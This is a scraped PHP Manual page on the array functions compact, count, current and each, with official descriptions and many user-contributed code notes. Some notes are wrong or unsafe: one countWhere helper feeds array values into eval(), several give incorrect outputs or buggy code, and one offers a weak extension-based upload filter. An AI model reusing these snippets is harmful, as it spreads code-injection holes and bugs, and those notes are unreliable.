 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
        $lastindex = count ($sortarray) - 1;
        for ($subindex = 0; $subindex < $lastindex; $subindex++) {
                $lastiteration = $lastindex - $subindex;
                for ($iteration = 0; $iteration < $lastiteration;    $iteration++) {
                        $nextchar = 0;
                        if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                                $temp = $sortarray[$iteration];
                                $sortarray[$iteration] = $sortarray[$iteration + 1];
                                $sortarray[$iteration + 1] = $temp;
                        }
                }
        }
        return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca 02-Aug-2000 03:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk 24-Feb-2000 11:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.
arsort
compact
Array Functions


Create array containing variables and their values

asort
count
Array Functions
PHP Manual

compact

(PHP 4, PHP 5)

compact — Create array containing variables and their values

Description

array compact ( mixed $varname [, mixed $... ] )

Creates an array containing variables and their values.

For each of these, compact() looks for a variable with that name in the current symbol table and adds it to the output array such that the variable name becomes the key and the contents of the variable become the value for that key. In short, it does the opposite of extract().

Any strings that are not set will simply be skipped.

Parameters

varname

compact() takes a variable number of parameters. Each parameter can be either a string containing the name of the variable, or an array of variable names. The array can contain other arrays of variable names inside it; compact() handles it recursively.

Return Values

Returns the output array with all the variables added to it.

Examples

Example #1 compact() example

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "nothing_here", $location_vars);
print_r($result);
?>

The above example will output:

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

Notes

Note: Gotcha

Because variable variables may not be used with PHP's Superglobal arrays within functions, the Superglobal arrays may not be passed into compact().

See Also

  • extract() - Import variables into the current symbol table from an array

User Contributed Notes

piedone at pyrocenter dot hu 15-Apr-2011 06:00
A quick way of compacting all local variables:

<?php
$localVariables = compact(array_keys(get_defined_vars()));
?>

This is useful if you want to return all local variables from a function/method or you want to pass all local variables to one. A valid example would be to use this with application hooks/events (if you want the called hook to be able to modify everything in the caller), but otherwise use with care (as methods should be used through their declared interface).
Robc 19-Jan-2011 03:16
The description says that compact is the opposite of extract() but it is important to understand that it does not completely reverse extract().  In particluar compact() does not unset() the argument variables given to it (and that extract() may have created).  If you want the individual variables to be unset after they are combined into an array then you have to do that yourself.
tatarynowicz at gmail dot com 10-Jan-2011 03:17
Please note that compact() will _not_ issue a warning if the specified variable name is undefined.
Anonymous 06-Apr-2009 03:41
Compact does not work with references, but there is a short way to resolve this:

<?php
//$foo=array();
foreach( array('apple','banana') as $v) $foo[$v] = &$v;
?>
packard_bell_nec at hotmail dot com 31-Jan-2008 09:46
You can check whether a variable is defined by using array_key_exists()!
First, you may ask that no reserved array (would be called $LOCALS) is predefined in function scope (contrast to reserved array $GLOBALS in global scope. To solve it, you can use compact().
Then, you may ask that why property_exists() cannot be used. This is because no reserved function is predefined to create OBJECT containing variables and their values, and no reserved function is predefined to import variables into the current symbol table from an OBJECT. In addition, property_exists() breaks the naming convention of reserved function.
Finally, I show how to check whether a variable is defined by using array_key_exists():
<?php
function too(){
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
$foo = null;
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
}
too();
?>
The output will be:
0<br/>
1<br/>
M Spreij 24-May-2007 06:10
Can also handy for debugging, to quickly show a bunch of variables and their values:

<?php
print_r(compact(explode(' ', 'count acw cols coldepth')));
?>

gives

Array
(
    [count] => 70
    [acw] => 9
    [cols] => 7
    [coldepth] => 10
)
mijllirg at wearethedotin dot com 17-Nov-2005 11:38
You might could think of it as ${$var}.  So, if you variable is not accessible with the ${$var} it will not working with this function.  Examples being inside of function or class where you variable is not present.

<?php
$foo = 'bar';

function blah()
{
    // this will no work since the $foo is not in scope
    $somthin = compact('foo'); // you get empty array
}
?>

PS: Sorry for my poor english...
hericklr at gmail dot com 13-Jun-2005 08:43
The compact function doesn't work inside the classes or functions.
I think its escope is local...
Above it is a code to help about it.
Comments & Suggestions are welcome.
PS: Sorry for my poor english...

<?php

    function x_compact()
    {    if(func_num_args()==0)
        {    return false; }
        $m=array();

        function attach($val)
        {    global $m;
            if((!is_numeric($val)) && array_key_exists($val,$GLOBALS))
            {    $m[$val]=$GLOBALS[$val];}
        }

        function sub($par)
        {    global $m;
            if(is_array($par))
            {    foreach($par as $cel)
                {    if(is_array($cel))
                    {    sub($cel); }
                    else
                    {    attach($cel); }
                }
            }
            else
            {    attach($par); }
            return $m;
        }

        for($i=0;$i<func_num_args();$i++)
        {    $arg=func_get_arg($i);
            sub($arg);
        }

        return sub($arg);
    }
?>
pillepop2003 at yahoo dot de 22-Nov-2004 12:26
Use the following piece of code if you want to insert a value into an array at a path that is extracted from a string.

Example:
You have a syntax like 'a|b|c|d' which represents the array structure, and you want to insert a value X into the array at the position $array['a']['b']['c']['d'] = X.

<?
    function array_path_insert(&$array, $path, $value)
    {
        $path_el = split('\|', $path);

        $arr_ref =& $array;

        for($i = 0; $i < sizeof($path_el); $i++)
        {
            $arr_ref =& $arr_ref[$path_el[$i]];
        }

        $arr_ref = $value;
    }

    $array['a']['b']['f'] = 4;
    $path  = 'a|b|d|e';
    $value = 'hallo';

    array_path_insert($array, $path, $value);

    /* var_dump($array) returns:

    array(1) {
      ["a"]=>
      &array(1) {
        ["b"]=>
        &array(2) {
          ["f"]=>
          int(4)
          ["d"]=>
          &array(1) {
            ["e"]=>
            string(5) "hallo"
          }
        }
      }
    */

?>

Rock on
Philipp
asort
count
Array Functions


Count all elements in an array, or something in an object

compact
current
Array Functions
PHP Manual

count

(PHP 4, PHP 5)

count — Count all elements in an array, or something in an object

Description

int count ( mixed $var [, int $mode = COUNT_NORMAL ] )

Counts all elements in an array, or something in an object.

For objects, if you have SPL installed, you can hook into count() by implementing interface Countable. The interface has exactly one method, Countable::count(), which returns the return value for the count() function.

Please see the Array section of the manual for a detailed explanation of how arrays are implemented and used in PHP.

Parameters

var

The array or the object.

mode

If the optional mode parameter is set to COUNT_RECURSIVE (or 1), count() will recursively count the array. This is particularly useful for counting all the elements of a multidimensional array. count() does not detect infinite recursion.

Return Values

Returns the number of elements in var. If var is not an array or an object with implemented Countable interface, 1 will be returned. There is one exception, if var is NULL, 0 will be returned.

Caution

count() may return 0 for a variable that isn't set, but it may also return 0 for a variable that has been initialized with an empty array. Use isset() to test if a variable is set.

Changelog

Version | Description
4.2.0 | The optional mode parameter was added.

Examples

Example #1 count() example

<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
$result = count($a);
// $result == 3

$b[0]  = 7;
$b[5]  = 9;
$b[10] = 11;
$result = count($b);
// $result == 3

$result = count(null);
// $result == 0

$result = count(false);
// $result == 1
?>

Example #2 Recursive count() example

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
              'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
echo count($food, COUNT_RECURSIVE); // output 8

// normal count
echo count($food); // output 2

?>

See Also

  • is_array() - Finds whether a variable is an array
  • isset() - Determine if a variable is set and is not NULL
  • strlen() - Get string length

User Contributed Notes

nicolas dot grekas+php at gmail dot com 10-Sep-2011 11:29
As of PHP 5.2.6, count() DOES detect infinite recursion.
It triggers a warning when its argument is a recursive array.
mike dot mackintosh at angrystatic dot com 08-Sep-2011 10:31
If you try to do a sizeof or count with an object, it will always return 1 if the object is not null.

You need to type cast the object as an array for it to count correctly.

ex:

<?php
$obj->foo = 'fu';
$obj->bar = $fooBar();

echo count($obj); //returns 1

echo count( (array) $obj); // returns 2
?>
gothamxi 07-Mar-2011 10:48
simple random value from array.

<?php
$topic=array(
    "UFOs",
    "Barack Obama",
    "China",
    "Christianity",
    "Communism",
    "World War II",
    "Global Warming",
    "Vegetarianism",
            );

echo ("What do you think about ".$topic[ rand( 1,count($topic) ) ]."? ");

?>

output-->
What do you think about Global Warming? , etc
pro at developergatsby dot com 15-Jan-2011 02:37
Complexity of count function.

I just tested the complexity of count().
It looks O(1).

Here is the result.

<< counting array with 1 element>>
total time : 0.021ms
start -> end : 100 %

<< counting array with 100000 elements>>
total time : 0.015ms
start -> end : 100 %

Here is the testing code.
mini_bench_to is a function.
<?php

$arr = array();
$arr[] = "1";

$t['start'] = microtime(true);
$size = count($arr);
$t['end'] = microtime(true);
$str_result_bench = mini_bench_to($t);
echo $str_result_bench; // string return

$arr = array();
for($index = 0; $index < 100000; $index++) {
    $arr[] = $index;
}
$t['start'] = microtime(true);
$size = count($arr);
$t['end'] = microtime(true);
$str_result_bench=mini_bench_to($t);
echo $str_result_bench; // string return

?>

<?php
function mini_bench_to($arg_t, $arg_ra=false) {
    $tttime=round((end($arg_t)-$arg_t['start'])*1000,4);
    if ($arg_ra) $ar_aff['total_time']=$tttime;
    else $aff="total time : ".$tttime."ms\n";
    $prv_cle='start';
    $prv_val=$arg_t['start'];

    foreach ($arg_t as $cle=>$val)
    {
        if($cle!='start')
        {
            $prcnt_t=round(((round(($val-$prv_val)*1000,4)/$tttime)*100),1);
            if ($arg_ra) $ar_aff[$prv_cle.' -> '.$cle]=$prcnt_t;
            $aff.=$prv_cle.' -> '.$cle.' : '.$prcnt_t." %\n";
            $prv_val=$val;
            $prv_cle=$cle;
        }
    }
    if ($arg_ra) return $ar_aff;
    return $aff;
}
?>
marc at example dot com 23-Sep-2010 12:10
Just found use for this function...
Can count an array of items where a certain condition is met.
Feel free to improve it.

function countWhere($input = 1, $operator = '==', $where = 1)
{
    $input = is_array($input) ? $input : (array)$input;
    $operator = !in_array($operator, array('<','>','<=', '>=','==', '!=')) ? '==' : $operator;

    $i = 0;

    foreach($input as $current)
    {
        $match = null;
        eval('$match = (bool)("'.$current.'"'.$operator.'"'.$where.'");');

        $i = $match ? $i+1 : $i;
    }

    return $i;
}

USAGE:
echo countWhere(array('PZ','AB','CD','EF','GH'), '!=', 'GH');

OUTPUT:
4
marc at gutt dot it 07-Jun-2010 11:10
There was a change in a PHP5 version. Now an empty string returns 1:
<?php
echo count(''); // returns 1
echo count(array()); // returns 0
?>

This wasn't in PHP4 and some older PHP5 versions.
D X 03-Mar-2010 06:42
To know how much properties an object has, I do it like this:
count((array) $object)
... because count($object) gives me allways 1
ravenswd at gmail dot com 04-Aug-2009 12:37
The code snippet posted by legobuff at hotmail dot com on 02-Feb-2000 contains an error. This is the code that was posted:

<?php
// To find the index of the last element in the array:
end($yourArray);
$index = key($yourArray);
?>

However, this will fail if the indices have been stored out of sequence. What you actually want is max(array_keys($yourArray)), as indicated below:

<?php
$yourArray = array(1=>'a', 7=>'b', 5=>'c');

print count($yourArray); // prints 3

end($yourArray);
print key($yourArray); // prints 5

print max(array_keys($yourArray)); // prints 7
?>
jezdec at email dot cz 19-Apr-2009 04:42
Hi there,
there is a simple script with example for counting rows and columns of a two-dimensional array.

<?php
$data = array(
    "apples" =>
        array("red", "yellow", "pineapples"),
    "bananas" =>
        array("small", "medium", "big"),
    "vegs" =>
        array("potatoes", "carrots", "onions")
);

$rows = count($data,0);
$cols = (count($data,1)/count($data,0))-1;
print "There are {$rows} rows and {$cols} columns in the table!";
?>
ceo at l-i-e dot com 17-Dec-2008 12:22
count('') returns the very un-intuitive value of 1...
michael.debyl at gmail dot comz0r 16-Jul-2008 03:45
There doesn't seem to be a succinct method already noted on this page for counting multidimensional array end nodes (Items in multidimensional arrays), so I thought this function might help somebody.

Nice and simple :)

<?php
function rcount ($array) {
  $count = 0;
  if (is_array($array)) {
    foreach($array as $id=>$sub) {
    if (!is_array($sub)) { $count++; }
     else { $count = ($count + rcount($sub)); }
    }
    return $count;
  }
  return FALSE;
}
?>
analpaper{gmail} 03-Jul-2008 07:37
I found useful this little function that detects if a array is multidimensional or not.

<?php
function array_is2D($array) {
  return is_array($array) ? count($array)===count($array, COUNT_RECURSIVE) : -1;
}
?>

---
live2code
Anonymous 11-Jan-2008 01:20
Here is an iterative soloution of danny's count_recursive function which might be more efficient due to the missing recursion

<?php
/**
 * counts elements of an multidimensional array
 *
 * @param array $array Input Array
 * @param int $limit dimensions that shall be considered (-1 means no limit )
 * @return int counted elements
 */
function multicount ($array, $limit = -1)
{
   $cnt = 0;
   $limit = $limit > 0 ? (int) $limit : -1;
   $arrs[] = $array;
   for ($i=0; isset($arrs[$i]) && is_array($arrs[$i]); ++$i)
   {
      foreach ($arrs[$i] as $value)
      {
         if (!is_array($value) ) ++$cnt;
         elseif( $limit==-1 || $limit>1 )
         {
            if( $limit>1 ) --$limit;
            $arrs[] = $value;
         }
      }
   }
   return $cnt;
}
?>
atoi_monte at hotmail dot com 28-Jun-2007 02:10
Please note: While SPL is compiled into PHP by default starting with PHP 5, the Countable interface is not available until 5.1
danny at dannymendel dot com 13-Jun-2007 01:14
I actually find the following function more useful when it comes to multidimension arrays when you do not want all levels of the array tree.

// $limit is set to the number of recursions
<?php
function count_recursive ($array, $limit)
{
    foreach ($array as $id => $_array)
    {
        if (is_array ($_array) && $limit > 0) $count += count_recursive ($_array, $limit - 1); else $count += 1;
    }
    return $count;
}
?>
yarolan at mail dot ru 26-Apr-2007 04:56
NEVER USE IN CYCLES!

<?php
//size of $arr ~ 2000 elements

//wrong variant (Time exec ~ 19 sec)
for($i=0;$i<count($arr);$i++)
{
   //...
}

//right variant(Time exec ~ 0.2 sec)
$arr_size=count($arr);
for($i=0;$i<$arr_size;$i++)
{
   //...
}
?>

it was discovered experimentally.
Colin 03-Feb-2007 07:24
<?php
// countValuesRecursive
// The goal of this function is to count non-false values of a multidimenional array
// This is useful in making a quick determination if a form sent any values
// If no values were sent I can simply return to the blank form rather than continuing to the validation of each input
// There are two limitations of the principle:
// 1. If you WANT to send FALSE, 0, '', or NULL as form values this function will not count those, thus not doing what's expected
// 2. This would create an endless loop on a form that has no required fields such as one where users can choose to recieve optional  email subscriptions but where choosing none is also valid
function countValuesRecursive($array, $count = 0) {

    // Cycle through the array
    foreach ($array as $value) {

        // Check if the value is an array
        if (is_array($value)) {

            // Cycle through deeper level
            $count = countValuesRecursive($value, $count);
            }
        else {

            // Check if the value is TRUE
            if ($value) {
                $count++;
                }
            }
        }

    // Return the count
    return $count;
    }
?>
alexandr at vladykin dot pp dot ru 08-Nov-2006 04:28
My function returns the number of elements in array for multidimensional arrays subject to depth of array. (Almost COUNT_RECURSIVE, but you can point on which depth you want to plunge).

<?php
  function getArrCount ($arr, $depth=1) {
      if (!is_array($arr) || !$depth) return 0;

     $res=count($arr);

      foreach ($arr as $in_ar)
         $res+=getArrCount($in_ar, $depth-1);

      return $res;
  }
?>
anil dot iitk at gmail dot com 26-Jan-2006 12:32
<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
             'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
echo "<br>".count($food, COUNT_RECURSIVE); // output 8

function average($a){
  return array_sum($a)/count($a) ;
}
$b = array(1,2,3,4,5,6,7,8,9);
echo "Average of array:".average($b);

?>
Scorch at netpix dot com 20-Dec-2005 05:59
Be careful of recasting your variables, especially with database array returns:

<?php
$res = mysql_query("select * from blah") // a query that returns an empty set
$row = mysql_fetch_array($res); // get's 0 since there's no return
echo count($row); // echos 1 - since $row is not an array
echo $row[0]; // echos "", but casts $row as an array?
echo count($row); // echos 0 now
?>
Tom 30-Nov-2005 04:57
You can find an average from an array using this and array_sum.
<?php
//array average( array input )
function average($input) {
return array_sum($input) / count($input);
}
?>

You can also do a method of form validation that involves putting all errors into an array and letting count() do the key part.
<?php
if(isset($_POST['submit'])) {
$errors = array();
if(empty($_POST['message'])) $errors[] = "Empty message field";
if(!preg_match('/[a-z0-9.]@[a-z0-9].[a-z]/i', $_POST['email']) {
$errors[] = "Bad email address";
  }
if(count($errors) == 0) {
//process form...
  }
}
?>
Fred D 18-Oct-2005 09:16
The trim_text function was helpful, but it did not take account of the possibility of having nothing to trim which can sometimes happen if you are using this function in a loop through data. I've added a count function to deal with that possibility

<?php
function trim_text_elipse($text, $count){
//Create variable
$trimmed="";

//Remove double white space
$text = str_replace("  ", " ", $text);

//Turn the text into an array
$string = explode(" ", $text);

//Check to see how many words there are
$wordTotal = count($string);
    //Check to see if there are more words than the $count variable
    if($wordTotal > $count){
        //Loop through adding words until the $count variable is reached
        for ( $wordCounter = 0; $wordCounter <= $count; $wordCounter++ ){
            $trimmed .= $string[$wordCounter];
                //Check to and add space or finish with elipse
                if ( $wordCounter < $count ){ $trimmed .= " "; }
                else { $trimmed .= " &#8230;"; }
                }
    }else{
    //Set value returned to the existing value
    $trimmed =$text;
    }
//Trim off any white space
$trimmed = trim($trimmed);
return $trimmed;
}

?>
david _at_ webgroup _dot_ org 12-Feb-2005 04:30
While michael at htmlland dot net's code works, I believe it is better to use:
$extension=substr($file,strrpos($file,".")+1);

This doesn't incur the overhead of array handling.  I haven't tested it for time functions, but it should work just as well and SHOULD be faster.
freefaler at gmail dot com 19-Nov-2004 05:01
If you want to count only elements in the second level of 2D arrays.A close to mind note, useful for multidimentional arrays:

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
             'veggie' => array('carrot', 'collard','pea'));

// recursive count
echo count($food,COUNT_RECURSIVE);  // output 8

// normal count
echo count($food);                  // output 2

// all the fruits and veggies
echo (count($food,COUNT_RECURSIVE)-count($food,0)); //output 6
?>
moazzam at ummah dot org 14-Oct-2004 04:59
This is an obvious note, but I am writing it any way so other, who did may not have observed this, can take advantage of it too.

When running loops with count conditions, the code runs faster if you first assign the count() value to a variable and use that (instead of using count() directly in a loop condition.

To explain my point better, here is an example:

<?php

for ($i=0; $i<10000; $i++) {
    $arr[] = $i;
}

$time11 = microtime_float();
$bf = "";
for ($i=0; $i<count($arr); $i++) {
    $bf .= $arr[$i]."\n";
}
$time12 = microtime_float();
$time1 = $time12 - $time11;

print "First: ".$time1."\n";

$time21 = microtime_float();
$l = count($arr);
for ($i=0; $i<$l; $i++) {
    $bf .= $arr[$i]."\n";
}
$time22 = microtime_float();
$time2 = $time22 - $time21;

print "Second: ".$time2."\n";

?>

The output from the code above is (when run many times):

First: 0.13001585006714
Second: 0.099159002304077

First: 0.12128901481628
Second: 0.079941987991333

First: 0.18690299987793
Second: 0.13346600532532

As you can see, the second method (which doesnt use count() directly in the loop) is faster than the first method (which uses count() directly in the loop).

BTW:  I copied the microtime_float() function from one of the comments in the microtime() section. It just returns time with microseconds as float. Check comments in microtime() for more info.
michael at htmlland dot net 04-Jun-2004 10:30
I have found on upload scripts or on file manipulation scripts that people can trick a classic file type filter:
example:

<?php
$filename="bob.jpg.wav";
$bits= explode(".",$filename);
$extention= $bits[1];
if($extention == "jpg"){ echo"Not correct"; exit; }
?>

This returns the filename extention as jpg not wav.

One way to change this is to use count() :
example:

<?php
$filename="bob.jpg.wav";
$bits= explode(".",$filename);
$extention= $bits[count($bits) - 1];
if($extention == "jpg"){ echo "Not correct"; exit; }
?>

This returns the filename extention as wav not jpg.
rolandfoxx at yahoo dot com 30-Mar-2004 04:13
As an addition, any of the array manipulation functions can likewise get count to once again return 0:

<?php
$a = array();
print(count($a)); // prints 0
$a[0] = "foo";
array_shift($a);
print(count($a)); //prints 0
$a[0] = "bar";
array_splice($a, 0, 1);
print(count($a)); //prints 0
?>
admin at lft-muenchen dot de 12-Mar-2003 04:18
Note:

<?php
print (strlen($a)); // will print 0
$a="";
print (strlen($a)); // will print 1
$a=null;
print (strlen($a)); // will print 1
$a=array();
print (strlen($a)); // will print 0
?>

you can only get an array back to size 0 by using the array() command, not by just setting it to "" or null.
simon at invalid dot com 20-Aug-2002 12:40
Reminder for using count():

<?php
$ary = array(null, "a", "b", null);
echo count($ary);    // count: 4

$ary[10] = "c";
echo count($ary);    // count: 5

$ary[15] = null;
echo count($ary);    // count: 6
?>

=> NULL is seen as an element in count()

Count 2D array:

<?php
$a2Dary = array(array("a", "b") , array(), "v");

echo count($a2Dary);        // count: 3
echo count($a2Dary[0]);    //count 2
echo count($a2Dary[1]);    // count: 0
echo count($a2Dary[2]);    // count: 1
?>

Hope can help you
webmaster at NOSPAMtrafficg dot com 26-Apr-2002 03:48
Counting a multi-dimentional array

test array

<?php
$settings[0][0]  = 128;
$settings[0][1]  = 256;
$settings[0][2]  = 384;
$settings[0][3]  = 512;
$settings[0][4]  = 1024;
$settings[0][5]  = 2048;

$settings[1][0]  = 1024;
$settings[1][1]  = 2048;
$settings[1][2]  = 3072;
$settings[1][3]  = 4096;

count($settings) // returns 2
count($settings[0]) // returns 6
count($settings[1]) // returns 4
?>
kanareykin at denison dot edu 26-Mar-2001 01:13
Here's how to count non-empty elements
in an array of any dimension. Hope
it will be useful for somebody.

<?php
// recursively count all non-empty elements
// in array of any dimension or mixed - i.e.
// array('1' => 2, '2' => array('1' => 3, '2' => 4))
function count_all($arg)
{
    // skip if argument is empty
    if ($arg)    {
        // not an array, return 1 (base case)
        if(!is_array($arg))
            return 1;
        // else call recursively for all elements $arg
        foreach($arg as $key => $val)
            $count += count_all($val);

        return $count;
    }
}
?>
martin at complinet dot com 30-Nov-2000 04:31
The count function does not ignore null values in an array. To achieve this use this function.

<?php
function xcount($array) {
        while (list($key, $value) = each($array)) {
                if ($value) {
                        $count++;
                }
        }
return $count;
}
?>
jmcastagnetto at php dot net 04-Sep-2000 12:30
If you want to disambiguate if a variable contains an array w/ only one element, just us is_array() or gettype()
legobuff at hotmail dot com 02-Feb-2000 10:43
This is taken from sganer@expio.co.nz comments on the sizeof() function:
If some elements in your array are not set, then sizeof() and count() will not return the index of the last element, but will return the number of set elements. To find the index of the last element in the array:

end($yourArray);
$index = key($yourArray);

... Where $yourArray is the array you want to find the last index ($index) of.
compact
current
Array Functions


Return the current element in an array

count
each
Array Functions
PHP Manual

current

(PHP 4, PHP 5)

current — Return the current element in an array

Description

mixed current ( array &$array )

Every array has an internal pointer to its "current" element, which is initialized to the first element inserted into the array.

Parameters

array

The array.

Return Values

The current() function simply returns the value of the array element that's currently being pointed to by the internal pointer. It does not move the pointer in any way. If the internal pointer points beyond the end of the elements list or the array is empty, current() returns FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Example use of current() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

Notes

Note: You won't be able to distinguish the end of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • end() - Set the internal pointer of an array to its last element
  • key() - Fetch a key from an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array

User Contributed Notes

michael at squiloople dot com 10-Jan-2012 07:44
current() also works on objects:

<?php

  echo current((object) array('one', 'two')); // Outputs: one

?>
marc dot hanisch at nospam dot ateam dot de 19-May-2010 06:37
current() works with functions returning an array, too.
This is helpfull to get the first element of the returned array.

Note that current() with functions always returns the first element, because there is no variable the array was assigned to (and therefore no pointer).

Example:

<?php
//get the first element of the returned array
$element = current(get_my_arrays());
?>

In addition, current() with functions will not behave as assumed if your function returns an array reference and modifies the arrays pointer, of course!
aefxx 15-May-2008 08:39
A simple copy function that not only copies the given array but ensures the copy's pointer is set to the exact same position:

<?php
function array_copy(&array)
{
    $key = key($array);
    $copy = $array;

    while (($copy_key = key($copy)) !== NULL) {
        if ($copy_key == $key) break;
        next($copy);
    }

    return $copy;
}
?>

That's all ... bye.
gregory at gregory dot net 27-Feb-2008 09:07
It took me a while to figure this out, but there is a more consistent way to figure out whether you really went past the end of the array, than using each().

You see, each() gets the value BEFORE advancing the pointer, and next() gets the value AFTER advancing the pointer. When you are implementing the Iterator interface, therefore, it's a real pain in the behind to use each().

And thus, I give you the solution:
To see if you've blown past the end of the array, use key($array) and see if it returns NULL. If it does, you're past the end of the array -- keys can't be null in arrays.

Nifty, huh? Here's how I implemented the Iterator interface in one of my classes:

<?php

/**
 * DbRow file
 * @package PalDb
 */

/**
 * This class lets you use Db rows and object-relational mapping functionality.
 */

class DbRow implements Iterator
{
    /**
     * The DbResult object that gave us this row through fetchDbRows
     * @var DbResult
     */
    protected $result;

    /**
     * The fields of the row
     * @var $fields
     */
    protected $fields;

    /**
     * Constructor
     *
     * @param PDOStatement $stmt
     *  The PDO statement object that this result uses
     * @param DbResult $result
     *  The result that produced this row through fetchDbRows
     */
    function __construct($result)
    {
        $this->result = $result;
    }

    /**
     * Get the DbResult object that gave us this row through fetchDbRows
     * @return DbResult
     *
     * @return unknown
     */
    function getResult()
    {
        return $this->result;
    }

    function __set(
        $name,
        $value)
    {
        $this->fields[$name] = $value;
    }

    function __get(
        $name)
    {
        if (isset($this->fields[$name]))
            return $this->fields[$name];
        else
            return null;
    }

    /**
     * Iterator implementation - rewind
     */
    function rewind()
    {
        $this->beyondLastField = false;
        return reset($this->fields);
    }

    function valid()
    {
        return !$this->beyondLastField;
    }

    function current()
    {
        return current($this->fields);
    }

    function key()
    {
        return key($this->fields);
    }

    function next()
    {
        $next = next($this->fields);
        $key = key($this->fields);
        if (isset($key)) {
            return $next[1];
        } else {
            $this->beyondLastField = true;
            return false; // doesn't matter what we return here, see valid()
        }
    }

    private $beyondLastField = false;
};

Hope this helps someone.
vaclav dot sir at gmail dot com 13-Aug-2007 09:23
To that "note": You won't be able to distinguish the end of an array from a boolean FALSE element, BUT you can distinguish the end from a NULL value of the key() function.

Example:
<?php
if (key($array) === null) {
    echo "You are in the end of the array.";
} else {
    echo "Current element: " . current($array);
}
?>
marnaq 17-Aug-2006 05:20
To make this function return a reference to the element instead, use:

<?php
function &current_by_ref(&$arr) {
    return $arr[key($arr)];
}
?>
mdeng at kabenresearch dot com 23-Apr-2004 11:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il 02-Dec-2003 02:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
tipman 08-May-2003 04:07
if you got a array with number as index you get the last index with this:

eg:
$array[0] = "foo";
$array[1] = "foo2";

$lastKey = sizeof($array) - 1;

only a little help :)
retestro_REMOVE at SPAM_esperanto dot org dot il 01-Mar-2003 06:31
The docs do not specify this, but adding to the array using the brackets syntax:
     <?php $my_array[] = $new_value; ?>
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

    <?php
     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value
    ?>

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.
count
each
Array Functions


Return the current key and value pair from an array and advance the array cursor

current
end
Array Functions
PHP Manual

each

(PHP 4, PHP 5)

each — Return the current key and value pair from an array and advance the array cursor

Description

array each ( array &$array )

Return the current key and value pair from an array and advance the array cursor.

After each() has executed, the array cursor will be left on the next element of the array, or past the last element if it hits the end of the array. You have to use reset() if you want to traverse the array again using each.

Parameters

array

The input array.

Return Values

Returns the current key and value pair from the array array. This pair is returned in a four-element array, with the keys 0, 1, key, and value. Elements 0 and key contain the key name of the array element, and 1 and value contain the data.

If the internal pointer for the array points past the end of the array contents, each() returns FALSE.

Examples

Example #1 each() examples

<?php
$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);
?>

$bar now contains the following key/value pairs:

Array
(
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
)

<?php
$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);
?>

$bar now contains the following key/value pairs:

Array
(
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
)

each() is typically used in conjunction with list() to traverse an array, here's an example:

Example #2 Traversing an array with each()

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

The above example will output:

a => apple
b => banana
c => cranberry

Caution

Because assigning an array to another variable resets the original arrays pointer, our example above would cause an endless loop had we assigned $fruit to another variable inside the loop.

Warning

each() will also accept objects, but may return unexpected results. Its therefore not recommended to iterate though object properties with each().

See Also

  • key() - Fetch a key from an array
  • list() - Assign variables as if they were an array
  • current() - Return the current element in an array
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array
  • prev() - Rewind the internal array pointer
  • foreach
  • Object Iteration

User Contributed Notes

gaviel 18-Mar-2011 03:53
